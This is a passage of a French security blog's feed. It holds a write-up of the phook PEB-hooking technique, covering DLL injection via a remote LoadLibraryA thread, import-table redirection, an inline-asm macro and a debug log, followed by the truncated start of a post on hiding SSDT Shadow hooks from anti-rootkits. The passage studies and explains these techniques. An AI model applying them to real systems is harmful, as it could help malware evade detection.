hook&lt;/span&gt; aura été réalisé, et bien les&lt;span style="font-weight: bold;"&gt; images bases&lt;/span&gt; auront été &lt;span style="font-weight: bold;"&gt;echangées &lt;/span&gt;; or il nous faut &lt;span style="font-weight: bold;"&gt;récupérer &lt;/span&gt;l'image base de la &lt;span style="font-weight: bold;"&gt;véritable dll&lt;/span&gt;, ce qui sera donc obtenu avec GetModuleHandleA("&lt;span style="font-weight: bold;"&gt;Kernel32_.dll&lt;/span&gt;") .&lt;br /&gt;La &lt;span style="font-weight: bold;"&gt;macro &lt;/span&gt;proposée par les &lt;span style="font-weight: bold;"&gt;auteurs &lt;/span&gt;est la suivante :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;unsigned long &lt;span style="font-weight: bold;"&gt;tmp&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;#define &lt;span style="font-weight: bold;"&gt;JMP&lt;/span&gt;( &lt;span style="font-weight: bold;"&gt;lib&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;func &lt;/span&gt;)            \&lt;br /&gt;__asm                            \&lt;br /&gt;(   "&lt;span style="font-weight: bold;"&gt;pushad                &lt;/span&gt;\n"   \&lt;br /&gt;   " push edx             \n"   \&lt;br /&gt;   " push %1              \n"   \&lt;br /&gt;   " call eax             \n"   \&lt;br /&gt;   " pop edx              \n"   \&lt;br /&gt;   " push %2              \n"   \&lt;br /&gt;   " push eax             \n"   \&lt;br /&gt;   " call edx             \n"   \&lt;br /&gt;   " mov %4, eax          \n"   \&lt;br /&gt;   " &lt;span style="font-weight: bold;"&gt;popad                &lt;/span&gt;\n"   \&lt;br /&gt;                                \&lt;br /&gt;   : :                          \&lt;br /&gt;   "a" (&lt;span style="font-weight: bold;"&gt;GetModuleHandle&lt;/span&gt;) ,      \&lt;br /&gt;   "g" (&lt;span style="font-weight: bold;"&gt;lib&lt;/span&gt;)             ,      \&lt;br /&gt;   "g" (&lt;span style="font-weight: bold;"&gt;func&lt;/span&gt;)            ,      \&lt;br /&gt;   "d" (&lt;span style="font-weight: bold;"&gt;GetProcAddress&lt;/span&gt;)  ,      \&lt;br /&gt;   "g" (&lt;span style="font-weight: bold;"&gt;tmp&lt;/span&gt;)                    \&lt;br /&gt;);                              \&lt;br /&gt;asm ( "jmp %0" : : "g" (&lt;span style="font-weight: bold;"&gt;tmp&lt;/span&gt;) );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Je vous l'accorde ça &lt;span style="font-weight: bold;"&gt;pique &lt;/span&gt;les &lt;span style="font-weight: bold;"&gt;yeux&lt;/span&gt;, c'est &lt;span style="font-weight: bold;"&gt;très moche&lt;/span&gt;, mais ça compile avec &lt;span style="font-weight: bold;"&gt;mingw &lt;/span&gt;(avec l'option de compilation -masm=intel) c'est pour cela que je n'ai pas &lt;span style="font-weight: bold;"&gt;transposé &lt;/span&gt;cette macro à coup de&lt;span style="font-weight: bold;"&gt; _asm&lt;/span&gt; compilable &lt;span style="font-weight: bold;"&gt;seulement &lt;/span&gt;avec &lt;span style="font-weight: bold;"&gt;vcpp&lt;/span&gt;.&lt;br /&gt;La macro réalise donc une &lt;span style="font-weight: bold;"&gt;sauvegarde &lt;/span&gt;des &lt;span style="font-weight: bold;"&gt;registres &lt;/span&gt;avec un&lt;span style="font-weight: bold;"&gt; pushad/popad&lt;/span&gt; afin de préserver l'&lt;span style="font-weight: bold;"&gt;environnement &lt;/span&gt;dont nécessite l'&lt;span style="font-weight: bold;"&gt;api&lt;/span&gt;, nous &lt;span style="font-weight: bold;"&gt;stockons &lt;/span&gt;l'adresse de la &lt;span style="font-weight: bold;"&gt;véritable &lt;/span&gt;api dans une &lt;span style="font-weight: bold;"&gt;variable&lt;/span&gt;, et enfin nous &lt;span style="font-weight: bold;"&gt;sautons &lt;/span&gt;sur l'api.&lt;br /&gt;&lt;br /&gt;Cette &lt;span style="font-weight: bold;"&gt;dernière &lt;/span&gt;étape soulève un &lt;span style="font-weight: bold;"&gt;problème &lt;/span&gt;un peu plus &lt;span style="font-weight: bold;"&gt;important&lt;/span&gt;, celui-ci se situe au niveau de la &lt;span style="font-weight: bold;"&gt;pile &lt;/span&gt;et donc des &lt;span style="font-weight: bold;"&gt;arguments&lt;/span&gt;.&lt;br /&gt;Il faut être, dans ce code, capable de &lt;span style="font-weight: bold;"&gt;fournir &lt;/span&gt;une pile &lt;span style="font-weight: bold;"&gt;propre&lt;/span&gt;, et &lt;span style="font-weight: bold;"&gt;utilisable &lt;/span&gt;par l'api et cela sans passer par un &lt;span style="font-weight: bold;"&gt;prototype &lt;/span&gt;spécifique ; en effet toutes les &lt;span style="font-weight: bold;"&gt;fonctions &lt;/span&gt;qui nous &lt;span style="font-weight: bold;"&gt;intéresserons&lt;/span&gt; pas, leurs &lt;span style="font-weight: bold;"&gt;prototypes &lt;/span&gt;seront :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;void &lt;span style="font-weight: bold;"&gt;MaFonction&lt;/span&gt;_();&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En tant normal, une tel &lt;span style="font-weight: bold;"&gt;fonction &lt;/span&gt;n'est pas censé recevoir de &lt;span style="font-weight: bold;"&gt;paramètre&lt;/span&gt;, cependant une option nous permet de &lt;span style="font-weight: bold;"&gt;réaliser &lt;/span&gt;cela, et donc de trouver une &lt;span style="font-weight: bold;"&gt;solution &lt;/span&gt;à notre problème : il faut compiler avec l'option &lt;span style="font-weight: bold;"&gt;-fomit-frame-pointer&lt;/span&gt;.&lt;br /&gt;C'est en fait, le &lt;span style="font-weight: bold;"&gt;problème &lt;/span&gt;le plus &lt;span style="font-weight: bold;"&gt;délicat &lt;/span&gt;à résoudre dans ce projet, je ne sais pas si il est d'ailleurs possible de procéder &lt;span style="font-weight: bold;"&gt;autrement&lt;/span&gt;, j'ai simplement suivie la &lt;span style="font-weight: bold;"&gt;technique &lt;/span&gt;proposé par nos &lt;span style="font-weight: bold;"&gt;hookeurs de peb&lt;/span&gt;.&lt;br /&gt;J'ai d'ailleurs tenté de compiler le code sans spécifiée l'option, et il &lt;span style="font-weight: bold;"&gt;semblerait &lt;/span&gt;que le tout &lt;span style="font-weight: bold;"&gt;fonctionne &lt;/span&gt;toujours..si quelqu'un peut m'&lt;span style="font-weight: bold;"&gt;éclairer &lt;/span&gt;à ce &lt;span style="font-weight: bold;"&gt;niveau &lt;/span&gt;là :].&lt;br /&gt;&lt;br /&gt;Bon, une fois &lt;span style="font-weight: bold;"&gt;réalisé &lt;/span&gt;tout cela, nous obtenons un &lt;span style="font-weight: bold;"&gt;contrôle &lt;/span&gt;sur la résolution dynamique des apis ; si nous voulons &lt;span style="font-weight: bold;"&gt;obtenir &lt;/span&gt;un contrôle &lt;span style="font-weight: bold;"&gt;total&lt;/span&gt;, il faut mettre en place une &lt;span style="font-weight: bold;"&gt;reconstruction &lt;/span&gt;de la table d'&lt;span style="font-weight: bold;"&gt;importation &lt;/span&gt;du &lt;span style="font-weight: bold;"&gt;binaire&lt;/span&gt;, afin de faire pointer les importations de &lt;span style="font-weight: bold;"&gt;kernel32.dll&lt;/span&gt; vers &lt;span style="font-weight: bold;"&gt;NOTRE &lt;/span&gt;dll.&lt;br /&gt;&lt;br /&gt;Et enfin, il faut aussi &lt;span style="font-weight: bold;"&gt;reconstruire &lt;/span&gt;les tables des importations des &lt;span style="font-weight: bold;"&gt;autres &lt;/span&gt;modules que notre binaire utilisent, à condition que ceux ci &lt;span style="font-weight: bold;"&gt;importent &lt;/span&gt;des fonctions de&lt;span style="font-weight: bold;"&gt; kernel32.dll&lt;/span&gt; ; tous cela dans le but de les &lt;span style="font-weight: bold;"&gt;rediriger &lt;/span&gt;vers &lt;span style="font-weight: bold;"&gt;NOTRE &lt;/span&gt;dll ! Et dans ce cas là, nous avons le contrôle sur tous les &lt;span style="font-weight: bold;"&gt;appels &lt;/span&gt;fait sur les apis de &lt;span style="font-weight: bold;"&gt;kernel32.dll&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Maintenant, il reste &lt;span style="font-weight: bold;"&gt;deux/trois&lt;/span&gt; détails à résoudre, en effet si l'on veut pouvoir intercepter tous les &lt;span style="font-weight: bold;"&gt;appels &lt;/span&gt;de fonctions en &lt;span style="font-weight: bold;"&gt;destination &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;kernel32.dll&lt;/span&gt;, nous devons créer le processus dans un état suspendu, à ce moment là on peut enfiler notre &lt;span style="font-weight: bold;"&gt;casquette &lt;/span&gt;"trappeur de &lt;span style="font-weight: bold;"&gt;PEB&lt;/span&gt;" et &lt;span style="font-weight: bold;"&gt;corrompre &lt;/span&gt;les différents champs.&lt;br /&gt;C'est pour moi le point &lt;span style="font-weight: bold;"&gt;faible &lt;/span&gt;de la &lt;span style="font-weight: bold;"&gt;technique&lt;/span&gt;, en effet il faut pouvoir &lt;span style="font-weight: bold;"&gt;créer &lt;/span&gt;le processus pour pouvoir mettre en place &lt;span style="font-weight: bold;"&gt;correctement &lt;/span&gt;l'attaque.&lt;br /&gt;&lt;br /&gt;A présent parlons &lt;span style="font-weight: bold;"&gt;implémentation&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;dreg &amp;amp; shearer&lt;/span&gt; ont choisis d'injecter un code qui va &lt;span style="font-weight: bold;"&gt;charger &lt;/span&gt;la dll (celle qui va &lt;span style="font-weight: bold;"&gt;mettre &lt;/span&gt;en place le peb hook et la reconstructions des imports), leurs code est plutôt &lt;span style="font-weight: bold;"&gt;original&lt;/span&gt;, il injecte en mémoire une &lt;span style="font-weight: bold;"&gt;structure &lt;/span&gt;formé des &lt;span style="font-weight: bold;"&gt;opcodes &lt;/span&gt;nécessaire au chargement de la dll ; les opcodes sont forgés à la volée : &lt;span style="font-weight: bold;"&gt;funny &lt;/span&gt;:)).&lt;br /&gt;&lt;br /&gt;Pour &lt;span style="font-weight: bold;"&gt;ma &lt;/span&gt;part, j'ai tout &lt;span style="font-weight: bold;"&gt;simplement &lt;/span&gt;choisis de créer un &lt;span style="font-weight: bold;"&gt;thread distant&lt;/span&gt; sur la fonction &lt;span style="font-weight: bold;"&gt;LoadLibraryA &lt;/span&gt;afin de chargé ma dll.&lt;br /&gt;Celle-ci se &lt;span style="font-weight: bold;"&gt;chargera &lt;/span&gt;de mettre en place le &lt;span style="font-weight: bold;"&gt;peb hook&lt;/span&gt;, et la &lt;span style="font-weight: bold;"&gt;reconstructions &lt;/span&gt;des &lt;span style="font-weight: bold;"&gt;importations&lt;/span&gt; du binaire, par &lt;span style="font-weight: bold;"&gt;manque &lt;/span&gt;d'&lt;span style="font-weight: bold;"&gt;envie &lt;/span&gt;je n'ai pas codé la &lt;span style="font-weight: bold;"&gt;reconstructions &lt;/span&gt;successive des &lt;span style="font-weight: bold;"&gt;IATs &lt;/span&gt;des différents &lt;span style="font-weight: bold;"&gt;modules &lt;/span&gt;chargés par le binaire.&lt;br /&gt;&lt;br /&gt;Concernant leurs &lt;span style="font-weight: bold;"&gt;PoC&lt;/span&gt;, après l'avoir &lt;span style="font-weight: bold;"&gt;testé &lt;/span&gt;il semble &lt;span style="font-weight: bold;"&gt;défectueux &lt;/span&gt;chez moi.&lt;br /&gt;En effet, au lieu d'injecter une dll réalisant le peb hook et le patch des imports, ils ont décidés d'&lt;span style="font-weight: bold;"&gt;interfacer &lt;/span&gt;la mise en place de l'&lt;span style="font-weight: bold;"&gt;attaque &lt;/span&gt;par le biais d'une &lt;span style="font-weight: bold;"&gt;espece &lt;/span&gt;de console.&lt;br /&gt;Vous êtes alors contraint de vous &lt;span style="font-weight: bold;"&gt;connectez &lt;/span&gt;à une socket, on vous propose alors un menu (n'utilisez pas putty :p) ..enfin bon je trouve que le poc est &lt;span style="font-weight: bold;"&gt;entouré &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;fonction &lt;/span&gt;qui n'apporte pas de réel &lt;span style="font-weight: bold;"&gt;plus value&lt;/span&gt; au projet !&lt;br /&gt;&lt;br /&gt;Dans la &lt;span style="font-weight: bold;"&gt;suite &lt;/span&gt;d'outil qu'ils nous &lt;span style="font-weight: bold;"&gt;proposent&lt;/span&gt; on trouve, bien sur,un générateur de code, celui-ci est capable de nous &lt;span style="font-weight: bold;"&gt;générer &lt;/span&gt;le code d'une dll avec les mêmes &lt;span style="font-weight: bold;"&gt;exportations &lt;/span&gt;etc ; celui-ci étant codé en &lt;span style="font-weight: bold;"&gt;C&lt;/span&gt;, j'ai décidé de me coder un petit &lt;span style="font-weight: bold;"&gt;script python &lt;/span&gt;(mon premier !:]]) avec le module &lt;a href="http://code.google.com/p/pefile/"&gt;&lt;span style="font-weight: bold;"&gt;pefile&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;Cela m'a permis d'&lt;span style="font-weight: bold;"&gt;appréhender &lt;/span&gt;python pour finalement lacher le &lt;span style="font-weight: bold;"&gt;perl &lt;/span&gt;!&lt;br /&gt;Je pense en effet qu'il est plus &lt;span style="font-weight: bold;"&gt;judicieux &lt;/span&gt;d'utilisé un language de &lt;span style="font-weight: bold;"&gt;script &lt;/span&gt;pour réaliser une tache de ce genre !&lt;br /&gt;&lt;br /&gt;En lançant mon implémentation, si tout ce passe correctement, vous devriez obtenir un dump du genre :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;[3876] [ PebPwnDll implémentation par 0vercl0k, idée original de Shearer &amp;amp; Dreg ].&lt;br /&gt;[3876] [DBG] RtlGetCurrentPeb : 0x7c970e89.&lt;br /&gt;[3876] [DBG] PEB en : 0x7ffdf000.&lt;br /&gt;[3876] [DBG] PEB_LDR_DATA en : 0x361e90.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 361ec0.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 361f18.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 361fc0.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 362060.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 362100.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 3622d0.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 362328.&lt;br /&gt;[3876] [DBG] LDR_DATA_TABLE_ENTRY : 3623c8.&lt;br /&gt;[3876]&lt;br /&gt;[3876] [DBG] LDR_DATA_ENTRY_TABLE de la dll hook : 0x3622d0.&lt;br /&gt;[3876]  ImageBase : 0x623c0000&lt;br /&gt;[3876]  EntryPoint : 0x623c1000&lt;br /&gt;[3876]  SizeOfImage : 0x9f000&lt;br /&gt;[3876]&lt;br /&gt;[3876] [DBG] LDR_DATA_ENTRY_TABLE de la dll hooké : 0x361fc0.&lt;br /&gt;[3876]  ImageBase : 0x7c800000&lt;br /&gt;[3876]  EntryPoint : 0x7c80b5be&lt;br /&gt;[3876]  SizeOfImage : 0x105000&lt;br /&gt;[3876]&lt;br /&gt;[3876] [DBG] Kernel32.dll en 0x623c0000.&lt;br /&gt;[3876] [DBG] Eat dumped !&lt;br /&gt;[3876] [DBG] Patch de l'iat du binaire..&lt;br /&gt;[3876] [DBG] Patch de l'iat du binaire, concernant la dll 'kernel32.dll'.&lt;br /&gt;[3876] [DBG] Patch du binaire terminé.&lt;br /&gt;[3876] [DBG] Attaque complète.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pour tester la mise en place de la &lt;span style="font-weight: bold;"&gt;technique&lt;/span&gt;, j'ai tout simplement rajouter une &lt;span style="font-weight: bold;"&gt;MessageBox &lt;/span&gt;lors d'un appel à l'api &lt;span style="font-weight: bold;"&gt;Beep&lt;/span&gt;().&lt;br /&gt;Si vous voulez &lt;span style="font-weight: bold;"&gt;tracer &lt;/span&gt;le binaire pour constater le &lt;span style="font-weight: bold;"&gt;fonctionnement&lt;/span&gt;, j'ai glissé une &lt;span style="font-weight: bold;"&gt;int 3&lt;/span&gt;, il vous suffit donc de définir &lt;span style="font-weight: bold;"&gt;OllyDbg &lt;/span&gt;comme &lt;span style="font-weight: bold;"&gt;JIT debugger&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maintenant, on peut s'interroger si la technique est utilisable dans le cadre d'un &lt;span style="font-weight: bold;"&gt;malware&lt;/span&gt;..j'aurais tendance à dire &lt;span style="font-weight: bold;"&gt;oui bien sur&lt;/span&gt;, seulement un peb hook reste très &lt;span style="font-weight: bold;"&gt;simple &lt;/span&gt;à détecter : il suffit de constater les champs &lt;span style="font-weight: bold;"&gt;DllBase&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;EntryPoint&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;SizeOfImage &lt;/span&gt;en &lt;span style="font-weight: bold;"&gt;mémoire&lt;/span&gt;, et ceux du binaire en &lt;span style="font-weight: bold;"&gt;dur&lt;/span&gt;. On se rend vite compte que sa mise en place est aussi &lt;span style="font-weight: bold;"&gt;contraignante&lt;/span&gt;, car beaucoup d'actions sont &lt;span style="font-weight: bold;"&gt;réalisées&lt;/span&gt;, et que plus il y a d'actions à &lt;span style="font-weight: bold;"&gt;réalisées&lt;/span&gt;, plus il y a de chances pour que l'attaque &lt;span style="font-weight: bold;"&gt;tombe &lt;/span&gt;à l'eau (si l'une d'entres elles echoue, c'est la technique &lt;span style="font-weight: bold;"&gt;entière &lt;/span&gt;qui se voit tomber en miettes).&lt;br /&gt;&lt;br /&gt;Cependant, une technique de ce type peut-être &lt;span style="font-weight: bold;"&gt;intéressante &lt;/span&gt;pour &lt;span style="font-weight: bold;"&gt;virtualiser &lt;/span&gt;certaines apis (les auteurs en parlent en &lt;span style="font-weight: bold;"&gt;fin &lt;/span&gt;de leur &lt;span style="font-weight: bold;"&gt;article&lt;/span&gt;) ou encore pour réaliser un &lt;span style="font-weight: bold;"&gt;traceur &lt;/span&gt;d'api ; c'est peut-être un peu &lt;span style="font-weight: bold;"&gt;lourd &lt;/span&gt;je vous l'accorde.&lt;br /&gt;Enfin bref, c'est vraiment un article que j'ai &lt;span style="font-weight: bold;"&gt;A.D.O.R.E&lt;/span&gt;, jouer comme cela avec des structures accessible en &lt;span style="font-weight: bold;"&gt;userland &lt;/span&gt;c'est vraiment des &lt;span style="font-weight: bold;"&gt;techniques &lt;/span&gt;que je &lt;span style="font-weight: bold;"&gt;kiffe &lt;/span&gt;:).&lt;br /&gt;&lt;br /&gt;Il est temps de lacher les &lt;span style="font-weight: bold;"&gt;sources&lt;/span&gt;, pour cette fois je vous fait une archive contenant &lt;span style="font-weight: bold;"&gt;source &lt;/span&gt;et &lt;span style="font-weight: bold;"&gt;binaire &lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://www.blogger.com/overclok.free.fr/Codes/UnderstandPhooksInternals.zip"&gt;UnderstandPhooksInternals.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sinan voici quelques liens en vrac :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://mysterie.fr/blog/"&gt;http://mysterie.fr/blog/&lt;/a&gt; &lt;- Des bons ptits posts =D&lt;/li&gt;&lt;li&gt;&lt;a href="http://phrack.org/issues.html?issue=65&amp;amp;id=10#article"&gt;http://phrack.org/issues.html?issue=65&amp;amp;id=10#article&lt;/a&gt; &lt;- Phook en français &lt;a href="http://arsouyes.org/phrack/phrack65/phrack65_0x0a.txt"&gt;ici&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/d91k01sh%28VS.80%29.aspx"&gt;http://msdn.microsoft.com/en-us/library/d91k01sh(VS.80).aspx&lt;/a&gt; &lt;- un peu de documentation sur les fichiers de définitions&lt;/li&gt;&lt;li&gt;&lt;a href="http://dkbza.org/pefile/pefile.html"&gt;http://dkbza.org/pefile/pefile.html&lt;/a&gt; &lt;- L'implémentation du module python pefile&lt;/li&gt;&lt;li&gt;&lt;a href="http://fz-corp.net/?p=147"&gt;http://fz-corp.net/?p=147&lt;/a&gt; &lt;- IIS iz evil&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.rootkit.com/newsread.php?newsid=952"&gt;http://www.rootkit.com/newsread.php?newsid=952&lt;/a&gt; &lt;- du lourd !&lt;/li&gt;&lt;/ul&gt;Voilà, j'en ai finis pour aujourd'hui, en espérant que ça vous aura plu ;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.fr33project.org/"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-2989336870801606578?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/2989336870801606578/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=2989336870801606578' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2989336870801606578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2989336870801606578'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2009/05/understand-phooks-internals.html' title='Understand phook&apos;s internals.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-5088482130714401272</id><published>2009-03-21T06:20:00.000-07:00</published><updated>2009-04-03T11:06:55.748-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSDT shadow'/><category scheme='http://www.blogger.com/atom/ns#' term='win32k.sys'/><category scheme='http://www.blogger.com/atom/ns#' term='smss.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='HCL'/><category scheme='http://www.blogger.com/atom/ns#' term='thread gui'/><category scheme='http://www.blogger.com/atom/ns#' term='ntoskrnlpa.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='ssdt hook'/><category scheme='http://www.blogger.com/atom/ns#' term='gui'/><category scheme='http://www.blogger.com/atom/ns#' term='fz'/><category scheme='http://www.blogger.com/atom/ns#' term='gui thread'/><category scheme='http://www.blogger.com/atom/ns#' term='futurezone'/><title type='text'>Flirt with the session space.</title><content type='html'>&lt;span style="font-family:georgia;"&gt;Je vais aujourd'hui vous parlez d'un &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;espace &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;un peu &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;spécial &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;situé dans le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;kernel land&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; ; j'ai du mener de &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;longues recherches&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, des &lt;/span&gt;&lt;span style="font-style: italic;font-family:georgia;" &gt;nuits &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;de &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;reverses &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;et j'en passe :).&lt;/span&gt;&lt;br /&gt;Tous cela parce qu'il s'agit d'un &lt;span style="font-weight: bold;"&gt;sujet &lt;/span&gt;qui au &lt;span style="font-weight: bold;"&gt;final &lt;/span&gt;reste&lt;span style="font-weight: bold;"&gt; très très peu&lt;/span&gt; documenté, on trouve très peu de &lt;span style="font-weight: bold;"&gt;précision &lt;/span&gt;et lorsque le &lt;span style="font-weight: bold;"&gt;sujet &lt;/span&gt;est &lt;span style="font-weight: bold;"&gt;abordé &lt;/span&gt;dans certains article, les &lt;span style="font-weight: bold;"&gt;descriptions &lt;/span&gt;sont plutôt &lt;span style="font-weight: bold;"&gt;sommaire&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;session space&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, est en fait un &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;espace session &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;(comme son nom l'indique) ; comme vous le savez les &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;OS modernes &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;sont tous capables de gérer les &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;sessions multiples&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; ; et bien &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;windows&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;dédie &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;un espace &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;privé &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;par &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;session &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;!&lt;/span&gt;&lt;br /&gt;Une &lt;span style="font-weight: bold;"&gt;session &lt;/span&gt;est en fait un &lt;span style="font-weight: bold;"&gt;espace privé&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;reservé &lt;/span&gt;pour chaque &lt;span style="font-weight: bold;"&gt;utilisateur &lt;/span&gt;par exemple, le fait que plusieurs &lt;span style="font-weight: bold;"&gt;utilisateurs &lt;/span&gt;puissent se connecter en même &lt;span style="font-weight: bold;"&gt;temps &lt;/span&gt;implique alors le &lt;span style="font-weight: bold;"&gt;cloisonnement &lt;/span&gt;de celles-ci !&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;En fait, tous &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;commence &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;lorsque je me mis à rédiger un &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:georgia;" &gt;Proof of concept&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; concernant la technique de &lt;/span&gt;&lt;a style="font-family: georgia;" href="http://rootkit.com/newsread.php?newsid=922"&gt;&lt;span style="font-weight: bold;"&gt;xrayn&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:georgia;"&gt;. Celle-ci permettait de &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;cacher &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;ses &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;hooks &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;dans la &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;SSDT/SSDT Shadow&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; ; &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;90%&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; environ des &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;anti-rootkits&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; étaient &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;mis à l'echec&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; !&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;A &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;première &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;vue, le code ne devrait &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;pas trop &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;me poser de &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;problèmes&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;..jusqu'au moment où je dois réaliser une &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;copie &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;de la &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;SSDT Shadow&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;.&lt;/span&gt;&lt;br /&gt;En bref la &lt;span style="font-weight: bold;"&gt;SSDT Shadow&lt;/span&gt; est  la &lt;span style="font-weight: bold;"&gt;SSDT &lt;/span&gt;pour les threads qui vont gérer une &lt;span style="font-weight: bold;"&gt;interface graphique &lt;/span&gt;; la SSDT shadow se décompose en deux parties : la première qui est la SSDT que l'on connait bien (dite SSDT system), et la seconde est la SSDT gui.&lt;br /&gt;Un petit dump du kd pour vous montrez ça :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;kd&gt; dd nt!&lt;span style="font-weight: bold;"&gt;KeServiceDescriptorTable &lt;/span&gt;l 0x8&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;80559b80  &lt;span style="font-weight: bold;"&gt;804e2d20 00000000 0000011c 804d8f48&lt;/span&gt;&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;80559b90  00000000 00000000 00000000 